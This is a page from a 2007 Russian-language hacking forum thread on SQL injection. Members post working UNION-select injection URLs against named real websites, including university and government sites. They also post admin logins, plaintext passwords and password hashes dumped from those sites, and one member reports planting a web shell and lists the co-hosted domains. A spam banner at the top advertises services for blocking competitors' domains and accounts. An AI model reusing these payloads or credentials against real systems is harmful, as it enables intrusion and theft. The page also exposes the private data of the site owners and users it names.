УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 387 из 1242

387

Опции темы

Поиск в этой теме

Опции просмотра

#3861

26.11.2007, 22:24

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

Цитата:

Сообщение от Mike 007

помогите найти, куда пароль вводить для админа. хочу изменить главную стр.
З.Ы: если кто за них болеет, не обижайтесь

Дефэйсы запрещаются АНТИЧАТОМ!

#3862

26.11.2007, 22:29

Mike 007

Познающий

Регистрация: 04.04.2007

Сообщений: 54

Провел на форуме:
189215

Репутация: 86

zamut
понятно, никаких дефейсов!
за что ж вы так с моей репой?

Последний раз редактировалось Mike 007; 26.11.2007 в 22:39..

#3863

27.11.2007, 01:37

Fugitif

Постоянный

Регистрация: 23.09.2007

Сообщений: 416

Провел на форуме:
1781065

Репутация: 869

Код:

http://www2a.cdc.gov/phlp/dailynews/default.asp?specific=1%20and%201=convert(int,@@version)--

Цитата:

Код:

http://www2a.cdc.gov/phlp/dailynews/default.asp?specific=1%20and%201=convert(int,@@servername)--

Цитата:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'QPHP-ATL-PROD1' to a column of data type int.

#3864

27.11.2007, 02:41

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

Провел на форуме:
6905523

Репутация: 1174

www.pose.is

БД 4'ой ветки

Код:

http://www.pose.is/fullfrettir.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,username,password),14,15,16,17,18,19+from+users+--+

Код:

admin:123fazmo

#3865

27.11.2007, 07:18

1NtR0

Участник форума

Регистрация: 14.04.2007

Сообщений: 197

Провел на форуме:
1122391

Репутация: 209

Еда

Код:

http://www.cviog.uga.edu/spotlight/news/item.php?id=-241+union+select+user(),database(),3,4,5,6,7,8,version()/*

user() webmstr@localhost
database() news
version() 4.0.18

Код:

http://www.ic.usu.edu/forum/topic.php?forum_id=-1+union+select+concat_ws(char(95, 95, 95),user(),version(),database())/*

user() root2@localhost
database() ic_forum
version() 4.1.20

#3866

27.11.2007, 13:36

TheSoul

Познающий

Регистрация: 12.11.2007

Сообщений: 94

Провел на форуме:
4789789

Репутация: 71

http://www.sportsmindskills.com

Код:

http://www.sportsmindskills.com/sport.php?id=5+union+select+Email_address,User_password+from+user/*

http://www.green.ru

Код:

http://www.green.ru/news/event.htm?id=63+union+select+1,2,3,login,password,6,7+from+users/*

#3867

27.11.2007, 15:47

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

Привет, Италия!

everyeye.it

Код:

http://www.everyeye.it/anime/articolo.asp?id=-1+union+select+1,2,3,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71))/*

4.1.18-NT:EVERYEYE_IT:ADMIN@LOCALHOSТ

momentosera.com

Код:

http://www.momentosera.com/articolo.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71))/*

4.1.14-nt:momentosera1:ms@217.72.103.15

ilmascalzone.it

Код:

http://www.ilmascalzone.it/articolo.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8/*

4.0.27-standard-log:Sql17365_3:Sql17365@62.149.140.32

sapereperfare.it

Код:

http://www.sapereperfare.it/articoloExt.php?id=-1%20union%20select%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*&link=17

4.0.24_Debian-10sarge2:sapereperfa11865:sapereperfa11865@wnx-20.seeweb.it

uomo-libero.com

Код:

http://www.uomo-libero.com/autore.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6/*&onlyfull=0

4.0.24-standard-log:uomolibero:uomolibero@localhost

Админка:

Код:

http://www.uomo-libero.com/admin/

Админы:

Код:

http://www.uomo-libero.com/autore.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,password),6+from+users+limit+0,1/*&onlyfull=0

[Логин : Пасс] :

Код:

uomolibero:u0m0l1b
mahutg:okamilykos

Залил шелл:

Код:

http://www.uomo-libero.com/images/file/rs.php

Оказалось на серваке крутятся сайты:

Код:

thenoiseisthemassage.org
unsedicesimo.corraini.com
www.creativenetwork.it
www.affiliate-blog.org
www.affiliatemagazine.net
www.affiliazione.info
www.ajax-blog.com
www.contactwizard.it
www.corraini.com
www.creativepress.it
www.festivaletteratura.it
www.ggindustriegrafiche.com
www.intranet-blog.com
www.mantuaconnection.com
www.narninews.it
www.onajax.com
www.passionesaxo.com
www.piazzalberti.org
www.pochimaledettiesubito.BCK
www.pochimaledettiesubito.com
www.quicomincialalettura.org
www.risorse-gratis.it
www.sacconicase.it
www.ternieprovincia.com
www.testounicoprivacy.it
www.uomo-libero.com
www.webhosting-gratis.it
www.writeonit.org

Люди - будьте добрыми хацкерами!!!

#3868

27.11.2007, 16:39

-=lebed=-

Флудер

Регистрация: 21.06.2006

Сообщений: 3,193

Провел на форуме:
12702287

Репутация: 4738

Powered By Tilde CMS довольно дырявая CMS, можно найти кучу скулей, как в старых так и новых версиях.

Пример:www.meditalklinik.dk

Код:

_http://www.meditalklinik.dk/index.php?id=-1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9/*

5.0.45:meditalkli@linux2.wannafind.dk:meditalklini k_dk_db
version=>5 ->

Код:

http://www.meditalklinik.dk/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables/*

Смотрим таблицы, меняя лимит:

Код:

_http://www.meditalklinik.dk/index.php?id=-1+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+1,1/*

Всего 23 таблицы:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ArtikelLink
ArtikelMain
ArtikelParaLinksRelation
ArtikelParaRelation
ArtikelParagraf
Menu_statisk

#3869

27.11.2007, 19:51

Iceangel_

Members of Antichat - Level 5

Регистрация: 09.07.2006

Сообщений: 553

Провел на форуме:
7561206

Репутация: 1861

http://masteroff.org

Код:

http://masteroff.org/edit.php?q=44691+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11+from+users/*

#3870

27.11.2007, 20:01

Fata1ex

Постоянный

Регистрация: 12.12.2006

Сообщений: 906

Провел на форуме:
4205500

Репутация: 930

edu

Код:

http://www.dukemednews.duke.edu/av/video.php?id=-1+union+select+1111111,password+from+mysql.user/*

web@vml-news.duhs.duke.edu:4.0.18:news

web:623460e26f081bbc

Код:

http://geology.osu.edu/faculty_bios.php?id=-27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/* //Есть доступ к mysql.user

web_bot@emerald.geology.ohio-state.edu:5.0.22:geosci_web
# 1cd219690c8c93cd
# root

Slip выкладывал вроде почти ее =/

Последний раз редактировалось Fata1ex; 27.11.2007 в 20:08..

Страница 387 из 1242

387

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход